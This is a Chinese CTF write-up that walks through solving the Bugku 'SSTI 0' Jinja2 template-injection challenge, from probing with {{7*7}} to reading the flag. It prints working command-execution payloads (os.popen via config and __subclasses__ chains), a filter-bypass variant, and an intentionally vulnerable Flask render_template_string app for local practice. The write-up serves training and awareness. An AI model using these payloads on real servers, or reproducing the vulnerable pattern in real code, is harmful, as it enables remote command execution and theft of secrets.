做CTF Web题的同学一定绕不开SSTI(Server-Side Template Injection,服务端模板注入)这个考点。尤其Bugku平台上的"SSTI 0",几乎成了所有刚接触模板注入的人的必经之路。这道题本身难度不大,但它的价值在于:只要把这道题吃透,你就掌握了SSTI的核心套路——探测、确认、利用、拿flag,一整套流程下来,后面再遇到更复杂的模板注入题(过滤字母、过滤符号、上WAF绕过的版本)都有底气去啃。
这篇文章我打算把Bugku CTF-SSTI 0的完整解题思路、底层原理、payload构造过程和踩坑经验一次性讲清楚。不管你是刚入CTF的新人,还是已经会做命令执行但搞不明白模板注入原理的选手,读完应该都能自己复现这道题,并把姿势迁移到其他SSTI题目上。
1. 这道题在考什么:先说清楚目标再动手
1.1 从一道"送分题"看SSTI的出题套路
CTF平台上的模板注入题目几乎都有一个共同特征:页面会有一个输入框或者URL参数,你输入的内容会被"原封不动"地放到服务器返回的响应里。Bugku的SSTI 0也是一样,它没有太多花哨的干扰项,入口就是一个非常明确的查询框,甚至能猜到后端就是Flask写的,模板引擎是Jinja2。
这道题之所以叫"SSTI 0",我理解是题目编号的起点,也可能是出题人想表达"零基础入门"的意思。它的目标就是让你学会一件事:当模板引擎把我们输入的内容当作模板代码执行时,怎么通过构造表达式拿到服务器上的敏感信息。这个目标一旦明确,整道题的解题路径就非常清晰了。
很多新手拿到题目第一反应是:这不是SQL注入吧?先试' or 1=1。然后发现没反应,又开始试XSS,还是没反应。实际上SSTI和SQL注入、XSS最大的区别在于,它注入的是模板语法,不是SQL语句,也不是HTML脚本。最基础的验证方式就是你输入一行表达式,如果页面返回了计算结果,那就说明模板引擎把你的输入当成代码执行了,这就是SSTI存在的铁证。
1.2 做这道题需要哪些前置知识
按照我的经验,做SSTI 0之前,你至少需要掌握三块基础内容,缺一不可。
第一是Python基础,尤其是类、对象、属性、方法这些概念。因为Jinja2的payload本质上是在模板表达式里访问Python对象的属性和方法链。你不需要把Python学得多深,但至少要理解__class__、__mro__、__globals__、__subclasses__这几个魔术方法都是干什么用的。很多人在这一步卡住,就是因为看到__class__.__mro__[2].__subclasses__()这种长串就懵了。
第二是HTTP请求的基本知识,知道GET参数怎么传,响应怎么回显。SSTI的注入点可能在GET参数、POST参数、Cookie、Headers里,这道题比较简单,就在GET参数里。
第三是Linux基础命令,因为最终拿flag的时候,大概率要用到cat、ls、find这几个命令,以及os.popen()这个Python标准库函数。
这三块内容都不深,但它们是后续构造payload的地基。我见过不少同学直接抄payload把flag跑出来,但换个题目就不会了,根子还是前置知识不牢。
2. SSTI的底层原理:模板引擎是怎么被"骗"的
2.1 模板引擎的工作机制
要理解SSTI,得先理解模板引擎平时是怎么干活的。我们拿Python里最常见的Flask框架配合Jinja2模板引擎举例。
服务端渲染的基本流程是这样的:前端发送一个请求到路由,路由函数处理完逻辑之后,把数据传递给模板文件。比如render_template('index.html', name=name),然后模板文件里通过{{ name }}这种双大括号语法来显示变量。Jinja2引擎会去做两件事:解析模板里的语法结构,然后把传入的数据填充进去,最终生成一个纯HTML字符串返回给浏览器。
问题出在什么时候?当你的模板文件里存在{{ }},而这个位置的{{ }}中间的内容不是由开发者写死的变量名,而是由用户输入拼接进去的字符串时,就出问题了。
举个例子,很多初学者会写出这种代码:
name = request.args.get('name') html = "<h1>Hello " + name + "</h1>" return render_template_string(html)这段代码本身是不能直接SSTI的,因为它只是把用户输入插入到HTML字符串里,没有让Jinja2去解析{{ }}。但如果开发者图省事,直接把用户输入作为模板内容去渲染:
name = request.args.get('name') html = "<h1>Hello {{ name }}</h1>" return render_template_string(html, name=name)这个写法本身也是安全的,因为用户输入被当作普通字符串传入,Jinja2只会对它转义,不会作为模板代码解释。真正危险的写法是:
name = request.args.get('name') template = "<h1>Hello " + name + "</h1>" return render_template_string(template)用户输入直接拼到了模板字符串里。这里如果你传一个{{7*7}},Jinja2会把它当作模板表达式去求值,页面回显就是49。这就是SSTI。Bugku SSTI 0的后端实现,大概率就是这种写法,或者类似把输入直接放进render_template_string的写法。
2.2 为什么模板注入比命令执行更危险
很多人觉得SSTI不就是能执行个Python表达式嘛,又不是命令执行,至于单独出一个考点吗?
实际上SSTI的危险程度一点都不低。原因很简单:模板引擎本身就是一个代码执行引擎。Jinja2模板表达式不只是能算数,它能访问Python对象,能调用对象的方法,能从对象链上找到系统命令执行的入口。
你能在页面上输入{{ config }},就能看到Flask的配置信息;输入{{ config.__class__.__init__.__globals__['os'].popen('id').read() }},就可以在服务器上执行系统命令。这就相当于从"算个7乘7"升级成了"执行任意命令",整个服务器都暴露了。
CTF环境是授权的靶场,所以可以放心去练。但这也提醒我们,真实开发中绝对不能把用户输入拼进模板字符串里。我之前帮人排查过一个内部系统,就是因为有人在告警通知模块里图省事用了render_template_string,把日志里的用户输入直接当模板渲染,结果被塞了一个{{ config }}进去,数据库密码差点泄露。教训极其深刻。
2.3 判断模板引擎的标准方法
拿到一道SSTI题目,第一步是判断后端用的是哪个模板引擎。不同引擎的语法和利用链不一样,Jinja2的payload丢到Twig或者Velocity里不一定能通。
我的判断套路很简单:输入一两个不痛不痒的表达式,看返回行为。
第一波测试,输入{{7*7}},如果页面返回49,说明大概率是Jinja2、Twig这种支持算术表达式且自动求值的引擎。第二波测试,输入${7*7},这是Freemarker/Thymeleaf这类Java模板引擎的语法。如果返回49,那就是Java系。第三波测试,输入<%= 7*7 %>或者#{7*7},这是Ruby ERB和Jinja2之外的另一些引擎支持的语法。
实际做题时,我用得最多的是{{7*7}}、{{7*'7'}}和${7*7}}三个组合拳。为什么要有{{7*'7'}}这一步?因为Jinja2和Twig对字符串乘法的处理不一样:Jinja2里'7'*7会输出7个7连在一起(7777777),而Twig会直接报错。通过这个细微差异,可以快速区分Jinja2和Twig。当然Bugku 0没有这么复杂,你输入{{7*7}}返回49,就锁定Jinja2了。
这里插一句做题心得:遇到模板注入题,不管三七二十一先上探测三连,比盲目猜引擎快得多。我见过有人一上来就怼{{config}},结果页面直接500,然后心态就崩了。其实那只是引擎不认这个语法,换一个试试就完事了。
3. Bugku SSTI 0 完整解题流程:从输入框到flag
3.1 信息收集:先看一眼题目长什么样
打开题目页面,通常就是一个输入框加一个提交按钮,旁边可能有一句话提示是查询信息。我先输入一个普通字符串,比如test,看页面回显了什么。如果是原样返回,说明输入被拼到了模板里;如果提示"未找到",可能中间有查询逻辑;如果直接500,说明后端报错了。
Bugku SSTI 0这道题,输入test大概率是原样回显的。这一步的意义在于确认:请求参数名字是什么、页面回显的位置在哪、是否有额外的过滤。很多新手喜欢直接上payload,连参数名都还没看清,结果payload被当成另一个参数名传过去,半天不出结果。
接着我会看响应头的Server字段和页面源代码的HTML注释。Flask默认的Server头不一定是Werkzeug,但页面源码往往会有<form action="..." method="GET">这样的表单结构,能帮助我确认提交方式是GET还是POST。这道题就是很直接的GET参数传递。
3.2 确认注入点:7*7就能定生死
输入{{7*7}},页面回显49,SSTI确认无疑。紧接着再输入{{7*'7'}},如果是Jinja2会回显7777777,进一步确认是Python Flask + Jinja2组合。到了这一步,这道题已经完成了一半。
接下来要规划利用策略:目标只有一个,找到flag文件。最常见的做法是读取服务器环境变量里的flag,或者直接执行系统命令遍历目录找flag文件。考虑到这是入门题,flag大概率就在当前目录下的某个文件里,或者以环境变量形式存在。
3.3 按部就班构造payload
确认是Jinja2之后,我个人的经验是不要一上来就背最长的那条__subclasses__利用链,而是用层层递进的思路构造payload,每走一步确认一步,找flag的成功率最高。
第一步,先读取模板上下文里的变量。输入{{ config }},能回显Flask的配置对象,里面可能包含SECRET_KEY、数据库链接等信息。虽然这道题flag一般不在config里,但这一步能确认我们确实在Flask的上下文环境里。
第二步,读取系统环境变量。Jinja2里可以通过{{ config.__class__.__init__.__globals__['os'].environ }}来获取环境变量。很多CTF题目会把flag放在环境变量里,管理员的疏漏是常见的取分点。如果这一步能出flag,全场最省事。Bugku SSTI 0里我印象中不一定有,但值得一试。
第三步,也就是最主流的做法:通过对象链找到命令执行入口。标准payload如下:
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}我来拆解一下这条payload的执行过程。config是一个Flask配置对象,我们通过__class__拿到它的类,再通过__init__拿到初始化方法的函数对象,再通过__globals__拿到这个函数所在的全局命名空间字典。这个字典里包含了Python解释器运行时的所有全局变量和导入的模块,其中就有os模块。找到os之后,直接调用popen('ls')在服务器上执行命令,再用read()读取输出,页面就回显了当前目录的文件列表。
如果执行ls看到了flag.txt或类似的文件,那最后一步就是把ls换成cat flag.txt:
{{ config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read() }}不出意外,flag就出来了。
3.4 如果config链走不通:通用的万能利用链
实际做题时,config链偶尔会失效。可能是因为题目环境里config被覆盖了,也可能因为过滤规则把config这串字符禁了。这时候需要换一条更通用但更长的利用链:
{{ ''.__class__.__mro__[2].__subclasses__() }}这条payload的原理是:''是空字符串对象,拿到它的类(<class 'str'>),通过__mro__拿到类的继承关系元组,下标[2]一般可以取到object类,因为str -> object这条继承链很短。拿到object之后,调用__subclasses__(),就可以拿到Python解释器启动时加载的所有类的列表。
为什么这一步很关键?因为这个列表里包含了几乎所有Python类的引用,我们可以从中筛选出能用来执行命令的类,比如os._wrap_close、subprocess.Popen、warnings.catch_warnings等。最常见的是直接用os._wrap_close的__init__.__globals__['os']来拿到os模块:
{{ ''.__class__.__mro__[2].__subclasses__()[127].__init__.__globals__['os'].popen('cat flag.txt').read() }}这里的[127]是os._wrap_close类在列表中的索引号,不同Python版本和不同环境里索引号会变,所以不能死记硬背,要在自己环境中测试时先看一下列表内容,找到os._wrap_close对应的下标。
这里必须提醒一句:不要在一个payload里把所有步骤都做完,然后一脸懵地调试。正确做法是先用短payload确认每一步的结果。比如先执行{{ ''.__class__.__mro__[2] }}看看是不是object,再执行{{ ''.__class__.__mro__[2].__subclasses__() }}看看类列表长度和格式,然后再去筛选下标。
3.5 实操现场记录
我把这道题的实际操作流程整理成一个速查表,方便你对着做:
| 步骤 | 输入 | 预期回显 | 意义 |
|---|---|---|---|
| 1 | test | test | 确认输入拼接进模板 |
| 2 | {{7*7}} | 49 | 确认存在SSTI |
| 3 | {{7*'7'}} | 7777777 | 确认是Jinja2 |
| 4 | {{ config }} | 配置对象内容 | 确认Flask上下文 |
| 5 | {{ config.class.init.globals['os'].environ }} | 环境变量字典 | 查看环境变量 |
| 6 | {{ config.class.init.globals['os'].popen('ls').read() }} | 文件列表 | 执行命令 |
| 7 | {{ config.class.init.globals['os'].popen('cat flag.txt').read() }} | flag内容 | 获得flag |
这套流程在前两步确认之后,后面几乎就是体力活。但正是这种"先确认再利用"的思路,后面遇到过滤型SSTI才有调整的余地。
4. 常见问题与排查技巧实录
4.1 页面什么都不回显,甚至直接500
这是做SSTI题最容易遇到的情况,基本上有四个原因。
第一,你用的模板语法不对问题的引擎。比如题目是Python系,你偏要试${7*7},那必然报错。应对方法是回到探测三连,按之前说的方法确认引擎。
第二,payload太长或者中间某个属性拼错了。Jinja2的payload环环相扣,一个__init__写错了整条就废了。建议把长payload拆成短payload逐步验证。
第三,后端对__双下划线做了过滤或替换。不少题目会专门卡魔术方法,比如把__class__里的__替换成空。这种情况属于进阶考法,Bugku SSTI 0一般没这么狠,但你要有这个意识。
第四,服务器限制输出长度或只返回固定格式。比如页面把模板渲染结果截断成100个字符,那ls的输出可能被截断,需要进行错误处理。
4.2 过滤字母数字时怎么绕
虽然Bugku SSTI 0是基础题,但做进阶题的时候一定会遇到过滤字母数字的情况。网上流传的request方式是比较聪明的解法:通过Flask的request对象去拿参数值,把被过滤的单词拆开传进去,用attr过滤器拼接属性名。
{{ config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read() }}如果要绕过__过滤,可以改写为:
{{ config['__class__']['__init__']['__globals__']['os']['popen']('cat flag.txt')['read']() }}利用[]取属性替代点号,再把__这种敏感串拆出来动态拼接。不过这个展开讲篇幅就大了,这里先提个思路,后续有机会单独开一篇写绕过技巧。
4.3 工具与脚本辅助
手工打字测试很容易手滑,我一般会准备两个辅助工具。第一个是Burp Suite,重发器里可以反复切换payload,配合Intruder做字典爆破,效率比浏览器慢慢敲高得多。第二个是本地搭建一个Flask靶场环境,用vulhub/flask/ssti或者自己写几行代码render_template_string先复现一遍,调试payload。本地环境的好处是可以自由打印完整报错信息,看到类列表的全部内容,不会像远程靶机那样只回显渲染结果。
这里给一个本地快速复现靶场的示例:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template_string('<h1>' + name + '</h1>') if __name__ == '__main__': app.run(debug=True)启动之后访问/?name={{7*7}},回显49,就和远程环境保持一致了。在这上面调试payload的效率非常高,我强烈建议每个做Web题的人都在本地备这么一个小环境。
4.4 做题提速的独门心得
我踩过几次坑之后,总结出三个提速技巧。
第一个技巧:flag不一定叫flag.txt,可能是flag、flag.php、/flag、/tmp/flag等。执行ls之后如果不确定,直接跑find / -name "*flag*" 2>/dev/null,一条命令搞定查找。虽然输出可能很长,但CTF环境一般文件不多,可读性还好。
第二个技巧:cmd的长度别写太长,有些题目有URL长度限制。可以先执行ls,再执行cat flag*来模糊匹配文件名,有效减少报错概率。
第三个技巧:payload的回显位置不一定就在输入框下面。有时候题目会把模板渲染结果放在某个<p>标签里,或者JSON格式的某个字段里。如果页面看着没变化,按F12仔细看响应体,别漏判。
5. 从SSTI 0开始,后续还能扩展什么
做完了Bugku SSTI 0,你会发现SSTI的世界才刚刚开始。后续至少有三个方向可以扩展。
第一个方向是绕过过滤。很多题不会像基础题那么直白,会过滤__、过滤[]、过滤点号、过滤关键词、限制字符长度,这时候你就需要学习Jinja2的过滤器知识,比如attr过滤器、十六进制编码变量名、request.args动态传参等等。
第二个方向是不同模板引擎的利用差异。Jinja2只是其中一个引擎,还有Twig、Freemarker、Velocity、Smarty等,它们的利用链和payload格式完全不同。Java系的Spring Boot应用里很多SSTI都是通过Thymeleaf或Freemarker出现的,payload构造思路也完全不一样。
第三个方向是SSTI配合其他漏洞的组合拳。比如SSTI加文件读取,通过读源码找二次注入点;SSTI加CRLF注入,通过改响应头打缓存投毒;SSTI加信息泄露,从config里拿到SECRET_KEY去伪造session。这些组合在真实渗透和高级CTF题目里都很常见,而起点都是你在这道"SSTI 0"里学会的基本功。
唯一的忠告是:练SSTI请在CTF平台、本地靶场等授权环境中操作,把这套技术当成理解服务端代码执行风险的敲门砖,别在未经授权的系统上做测试。
我个人实操下来的体会是,做SSTI题的成就感很多来自"算数到命令执行"的跨越感。当你第一次用{{7*7}}算出49、再一步步跑到cat flag.txt的瞬间,那种链路衔通的爽快感,正是CTF最迷人的地方。希望这篇拆解能帮你顺利迈过SSTI的第一道坎,接下来就靠你自己去刷题了。